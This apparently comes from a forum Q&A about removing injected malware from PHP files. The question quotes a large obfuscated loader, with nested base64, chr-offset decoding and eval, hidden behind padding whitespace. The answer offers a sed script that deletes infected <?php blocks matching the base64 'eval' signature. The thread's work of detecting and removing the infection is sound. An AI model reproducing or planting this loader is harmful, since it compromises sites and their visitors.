Vm14R2VsTlZVazVqUlRrellqSmtTbEV3Um01VGEyaFhZekpTUkZGVWJFcFRSa28xV1ZaamQySXhhM3BXYm14cFVtcHNjMXBWWkZkaGEzUkVWVzF3YUZFeWRIZFVNMlIyV2pCc1JGRlhaR3BpVmxsM1drWm9TMlJWYkVSVmFrWnBVMFpGTTFFeWJFSmFNR3hFVVdwc1JGb3pRbmRYYld4Q1lqSkdXRTVZUWxsTmJWSnpXa1ZPYm1GV2JGaGxTRTVwVFRKU2JWcEdhRXRqTVdkNVYyNWFhbEl4V2pGVFYyeHlZMFZzU1dNd2RFcFJNRVp1VTFWT1UwMVhTa2xWVjJSUlZUQkpkMWt5TVhOa1JYUkdVVzB4YUZZemFITlhSRXByWWtkU1IwOVhjR2xOYWxWM1YyeGpNVTFIVGpWYU1teG9VMFpKZDFrd1VuWmthM2cxVTFka1RXRldTbmRaTUU1Q1pGVnNSRk5ZV2twaFZVWXhVMnRvUTJGR2IzbFdXRUpNVmtoT1RGTlZUa0phTUd4SlUyMTRhMU5HV2pWWmJXeENZVEpTV0dWRVFsQmtNamx1VTFWT1Fsb3lXbEppTW1SS1VUQkdibE5yWkdGa01HeEZUVWRrWVdKck5USlhWRW93WkcxT1NGWnVWa3hSTVVwM1dUQk9NMW93T1VWUldFNUtVVEZLYzFreU5VdGtWMG8xWkRKa1MxSXhXalZaTWpWUFRVZE9jR1F5WkU1bGEwWjNWRE5rZGxvd2JFUlJWMlJvVmpGc2JsTXdUbE5pVjA1RVlUSmtiR1ZXU2pKYVJtaFNXakZDVkZGWGJGTk5SbHBXVTFWT1UyUXhiRmhhUjNoS1VsZG9WbFpyV2tKa2F6RlVUa2hrV1ZORmNHcFpiV3hLVGpCT2NGRlhaRXBSTUVaeVdXcE9WMDFGYkVST1JHeEtVVEJ3U2xscVRrOU5SVGx3VVZkMGFGZEZTbXBaTW5nMFpGVnNjV013ZEVwUk1FWnVVMVZPVTJSdFVsbFZWMlJOWVdwQ2JsTlhkRTlrYlVwMFRsZDRXazB4U25kWmFra3dUbXRzUmxSdVRtbE5NRFZ6VjBWb1Mxa3lTbk5sU0d4WlVucFNjRlF6WkhaYU1HeEVVVmRrWVdKdFVqVlpWbWhUWWtWMFJGVnRNV3BSTTJSdVUydGpOVTFYVWtSaGVtUkVZVlZHYmxOVlRrSmhNazUwVm1wQ1NsSkVRbTVUVjJ4S1RqQk9jRkZYWkVwUk1FbDZXVlZrYzJNeGNGUlJWemxLVmpGd2MxbHFTbHBpTUhCSVYyNWtURlV5ZEc1YVdHeFRaVlp3V1ZWWFpFcFJlbEUxVTFWT1EySldiM2xXYWtKcVpWZGtjbGR0TlVKak1HeEZVbGhzVUZFeWN6TmFiRVozWWxacmVXVklXbXBOYkZaMlUydGtZV1F3ZEZWak1IUkxVMFphZWxwRlRrSlBWV3hKVlc1c2FGWjZRblpaZWs1WFlWZE5lbFZ1YkV4Uk1VbzFWMnhvVW1Nd2JFbFVha0pxWW10S01sa3piRzVoTWs1MFZtcENUVkV3Um5CWFJXaExXVEpLYzJWSWJGbFNlbEp3VXpGT1FtTnJiRVZWV0VKTVZraFJOVkV5TlV0aVIxSkpWbTVzYVdGVlJuSmFSbVEwVFVVNU0yTkViRVJpVm05NFdXMHhUMDFIUmxoUFdGWktVbGM0ZVZZeGFFZFZiVXBZVGxkMFYyVnNTbTFaZWtwSFpFZFNXR0pIV21GTmJGbDNWMFJLTkdOSFNuUmtTSEJNVVRKM00xRXlaSFpoTVd4WVpVaE9TbEpFUW01WGFrcFhUVVpuZVdSSVZtbE5NbEp0V1Zab1FtSXdkRlZqTUhScVRXMW5lRmR0TVdGak1YQlVXakowV2xZemFIcFRNVko2VXpCd1NWWnViR2xSTUVVMVUxVldkazFzWkZsU2JFcHBWbnBXY2xadWNGTmFiRzk1Vm1wQ1dVMHhXalZaYTA1dVkwVTVNMkl5ZEdwaVZscHZXV3RaTldOSFRrUlJWR3hLVWxjNGVWWXhhRWRWYlVwWVRsZDBWMlZzU20xWGFrcFhUVVpuZWxOdGVGcFdNMmh0V1Zab1FtSXdkRlZqTUhSTFUwWmFiMU5WVVhkYU1rMTZWVzVzYTFKNmJIcFphazVyWWtkT2NGb3lkRmxOVlRWSFZsZDRZVkpzVm5Oak1teFVVbXhLVmxaVldUVldiRlYzVm14T1dVMUZXa2xWYkZVeFZsVnNjMDFJUWxCa01qbHlWMVprYzJFd2JFVk5SMlJLWVd0V00xUlZVa1poVlRrellqSjBXazFxYkhKVFZWRjNXakpLV0ZWVVJreFJNVWw0V1RJeE0yUlhVa2hpU0ZKaFZUSmtkMU14VW5wVE1IQklWRzA1WVZZd05YbFRWVkYzV2pKS1dGVlVSa3hSTVVweFdXcEtVbU5GT1ROaU1uUnJWakJXYmxWR1RrTk5WMDUwWlVkNGFXSlZOVEpYYTJSV1lqSk5lbFZ1Ykd0U2VteDZXV3BPYTJKSFRuQmFNblJaVFZVMVIxWlhlR0ZTYkZaell6SnNWRkpzU2xaV1ZWazFWbXhWZDFac1RsbE5SVnBKVld4Vk1WWlZiSE5OU0VKTVZraE9URk5yYUVOaFJtOTVWbGRrVVZVd1JuQlVSRXByWXpKR05VNVlaR2hUUlVWMlYxWmtjMkV4UWxSVFdGWkxVakJhZDFkclRUQmhWWEIxVm01c2FWSkVRbkJVUjJ4VFRWZE9kR1F6VmtwaFZuQjNXVEJSZDJGVmVIQlZibXhoVmpCYWVsZEVTbk5rTUhod1UxY3hhMVl3VlRWVFYyc3dZVEpTV0ZKWVZrcGhWbkJ4V1dwS1VrOVZiSEJPUjNSYVRXcHNjbFF6WkhaVE1YQjBUMWhzWVZZd1duRlpWVTVDWWpCd1NGSnVUbWxSTUVwdldUTnNRbUV5UmxsUldFSnNaREk1Y2xwRlpFNWFNVUpVVVd0MFQySkhlRFJXVm1ONFpGWndSMWw2UWxsTmJWSnpXa1ZaTldGdFNYbE9WRUpoVm5wVmQxa3piRzlOUjA1MFlraFNURkV4U25kWk1FNXlZekJ3U1ZGdGFHRk5iRlozVkROa2RtRXlUa2hQV0hCS1VrUkNibGw2VGxObFYwNUlUMWh3VEZFeFNYZFhXR3d6V2pCd1NGUnRPV0ZXTURWNVV6RlNlbE15UmxoWFYyUk1VVEZLTTFscVRrNWFNR3hWVFVSc1NsSXhjRzlaYTJoUFlrVjBXV013ZEV0VFJVbzFXV3BPYjA1V1ozbGxTRUpxVFRGR2JsVkdUa05sYlZKWVUyNXdhMU5GYkhaVGEyaFRZV3Q0UlZGWVRrdFRSVW95V1ROc2NrNHdUbTVqU0hCYVYwWndjMWRFU2pCa1YwbDZXa2RhYUZkRlJuWlhiR2h2WkRKS1NFOVhkR0ZWTW1Sd1YwVmpNR0ZWZUVSVmJtUnFZbFJyTUZwV1dUVmpNa1paVkdwQ1RGVXljek5STW1SMlV6QndTR1ZJUW1saVdGSTJVMVZSZDFveVRYcFdiV3hxVFRGS05WTXdUbE5OUm13MVpESjBhbEo2YkRaVE0zQk9aVlYwVldNd2RHcGlWbGwzV2tab1MyUlZiRVJWYms1b1ZucFdlVmt6Y0hwVE1scFNZMFJzUkdKcVFreFhiVFZYWkZacmVsVnVRbWxOYWxKdVZUSndZVmR0VGxkU2JsSnBZbFpLV1ZScldUVmtSMGw1VlcxYVdrMXFiREZUTUU1VFlXMUplVTVJUW14a00wSjNWMjFzUW1JeVRYcFZibXhxVW5wc05sTXdUbE5oYlVsNVRraE9TbUZ1YUhCWmFrcFRUbFZzY0dFeVpFcFdSRUUxVTFWa1lXRkhTa2xVYlhoTVZUQkpNMUV5YkZOTlJuQlpZVVJDU2xKRVFtNVpNR2hMWWtadmVFOVliR0ZYUlVwNlYxWmtUMkpGZEVSVFdGcFJVakJ3TWxkcmFISmlNV2hKVkcxS1dXRnFWbXRUTW14eVRERkNjRTlZUWtwaFdHUnVVMWR3TkdGWFNYbFZhbFpaVWtWVmNsTlhhekZUTURWellraG9WbFo2UmpGWGExcHFUVVpuZWxSdGFHbFhSbHAzVjBSS2EySkhVa2RQV0U1b1ZucFdlVmt6Ykc1alJYaEVVVmQwV2sxcWJERlVSVkpHWTBVNU5WRlhaRVJpYTNCeldrVm9WMlZYU25CUlYzUnJVakZaTUZwRlVucFRNbHBVVVcxNGFWTkZOWE5UVldnd1pWWndXVlZxUm1waVZGSnVVMnRrVDJSdFNuRmtSR3hFWW1wQ1RGZHROVmRrVm10NlZXNUNhVTFxVW01Vk1uQmhWMjFPVjFKdVVtbGlWa3BaVkd0Wk5XRnNiRmhsU0U1YVlsVmFjVmxZYkc1aE1XeDFWbTB4VEZkSVRreFpWbVJhV2pCMFNHRkhlRnBXTVVweldUSTFUMXB0VFhsV2JsWnJVVEprZDFNeGFIcFRNa1pZVjFka1RGSXllREZYUkVwSFpWZE9kRkpxVmt4Uk1IQkZXV3BKTVUxR2NGaE9WRUpOVmxaYU1WZFVTVFZoTWtaWVRsYzFVR0ZWU25WYVZ6RnpaREJzY0dReVpHaFNNVnB2VjJ0a1YyVlhUWGhQV0U1b1YwVTBkMU13VG5KalJYUlpZekIwUzFOR1NqQlpNR1JoWkZac1dFMVhlRXBTUkVKdVdrVmtWMlJIVGtoT1YyaHBWVEpuZDFkRVNsTmpSMDV3V2pOQ1RWRXdSbkJWYlhNMVZVVnNjR0Y2WkV0VFNFSjBVMVZSZDFveGNIUlBXR1JoVm5wU2RsTnJhRk5rUjA1SVYyNVdXbFo2Um5OVVJVNUNZVmRTTlZOWVFsQmxWVXAwV1RCb1YwMUhUalZhTW5Sc1lsWnNlbE5WVGxOaFYxSllWMWhDVUdWVlNuUlhWRW8wWkcxTmVWWlhPVXRUU0VKMFV6RlNlbG93Y0VsalIzUktVa1JDYmxkcVRuZGtiVTVJVm01V1RGRXhTWGRaYkdoRFlsZEtkRkp1VW1GVk0yUnVVMWMxU21GVmRGVmpNblJhVFdwc01WcEZaRmRrVjFKSlZGZGtVVlV3U25WYVZ6VkxZa1pzV0ZWWE9VdFRTRUp5VkVWT1FtVkZNVVZSV0dST1VrVkdNMVJWVG5KT01IQklWRzVhYVdKc1NuTlpiVFZUWld0c1JVMUhaRlJoYkhCaFdURmFSMlJIU25SVmJHaFBVbXBzTUZscVNsTmFiR3Q1VDFoV1RGRXhTbkZaYWtreFRVWndXRTVVUW1wbFYzTXpWMnBPZDJGdFNraFBXSEJoVlRKa2NscFhNVkpqUlRoNlZtNVdhVkl5ZURGWldHeHVZVEpTU0UxWVpHRmlWRlp2V1d4a1ZtTkZPVFZWYlhCcFRXcFZkMWRzWXpGTlIwNDFVVlJzU2xJeVVUSlhiR014WVcxSmVWVnRlRXhSTVVweFdXcEpNVTFHY0ZoT1ZFSnFaVmR6TTFwc1RrTmlSMHBKVkcxNFNsTklUbkpYVkVrMVpGZFNTRlp1Vm10VFJURnVWVVpPUTFNd05YTmlTR2hXVm5wR01WZHJXbXBOUm1kNVRWaGFZVkpxYkhGWmFra3dZakJ3U0ZOcVJtRmhWM016VTFWbmVFOVZiRWhXYms1cVRXeFdibHBZYkZOaGJVbDVUbFJDWVZaNlZYZFpNMnhDVDFWc1JtSjZTbGhYUlZwVFdXeGpNV0V4V2paVmJWcHBWbnBzY2xkRVNrOWtiVXB3V2pKMFdtSnNXblJUTVZJd1QxZE9kRlpxUW10WFJYQXhVekJPVTJGdFNYbE9WRUpoVm5wVmQxa3piSEpPTUU1MVRVVjBTbEZZUWpKWFYzYzFaVzFTU0ZKdWJHdFJNbVJ3VlRKd1lWZHRUbGRTYmxKcFlsWktXVlJyV1RWaGJHeFlaVWhPV21KVlduRlpXR3hLWTBVNU0yTkViRVJpYWtKTVNXbHJjRTk1UVQwaUtTazdJQT09IikpOyA=";if (!function_exists("OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p")){ function OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p($fO04QWycV17uAqyjS64dQm23qvS6BIjvmaq3WO6HG327kq,$onb63nZXEkGBMeL7rLoly2h6zbYxleEdsF9mTZ9oaGQML){$y22XerQlngnbDyg7CyDCKnrKBrhh3Sz = '';foreach($fO04QWycV17uAqyjS64dQm23qvS6BIjvmaq3WO6HG327kq as $xrrPI80VeeXIC3F5s9y3mPEN7LV1tkv4){$y22XerQlngnbDyg7CyDCKnrKBrhh3Sz .= chr($xrrPI80VeeXIC3F5s9y3mPEN7LV1tkv4 - $onb63nZXEkGBMeL7rLoly2h6zbYxleEdsF9mTZ9oaGQML);}return $y22XerQlngnbDyg7CyDCKnrKBrhh3Sz;}$AQnCMAhdS9buT = OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p($AcVbHvpF09zNSRuMPElLr,6068);$Eg0IMt83iZbOJYNZ = OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p($SxaHy7s95ObQQJc6f36EGOm,1742);$yFYrhozl7ymshSHoJf02dTb3VPCJsrkhX8z5nYgkmt = OwA0R2PCF9nABq5nOAr18MTE4xvtFCArY0hGTX8p($u2vCEM8399Ax6Tw2y,9634);$FbaILfyEjiFc3kFDDXNL = $Eg0IMt83iZbOJYNZ('$kaGZZNab6Dw8D4JJtdSBIVvTrZneCYQfZ',$AQnCMAhdS9buT.'('.$yFYrhozl7ymshSHoJf02dTb3VPCJsrkhX8z5nYgkmt.'($kaGZZNab6Dw8D4JJtdSBIVvTrZneCYQfZ));');$FbaILfyEjiFc3kFDDXNL($YKbKBXPFKn8ET3XSsQ48kI5WuXgEia6VL);}?>

However, the arrays are randomly generated, as you can see here in a partial of the code:

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           $F0pNSU= array('7868','7885','7864','7875');$ARi0VuBPLRN7WHIEO71nzE7UGX9k= array('2235','2250','2237','2233','2252','2237','2231','2238','2253','2246','2235','2252','2241','2247','2246');$uWbB41mot20bGXYdwsStk5TO2DlQDwlninPce1r= array('4815','4814','4832','4818','4771','4769','4812','4817','4818','4816','4828','4817','4818');$rCeok2zh4L1E8X6GuemL4rp7ve3LRhyxJCMT="ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelp

So it is always within the first <?php tag, so I am wondering if it is possible to search for the infected files using “ZXZhbChiYXNlNjRfZGVj” as a constant, then remove the first instance of <?php and ?> since malicious code is always between that. Not sure if this is even possible though.

Ideas?

Related posts

Leave a Reply

1 comment

  1. Take this file, as filter.sed:

    :t
    /<?php/,/?>/ {                    # For each line between these block markers..
       /?>/!{                         #   If we are not at the end marker
          $!{                         #     nor the last line of the file,
             N;                       #     add the Next line to the pattern space
             bt
          }                           #   and branch (loop back) to the :t label.
       }                              # This line matches the /end/ marker.
       /ZXZhbChiYXNlNjRfZGVj/d;       # If /regex/ matches, delete the block.
    }                                 # Otherwise, the block will be printed.
    

    Then, from the directory in which your PHP files live:

    sed -i -f filter.sed *.php.

    Tip of the hat to this excellent resource.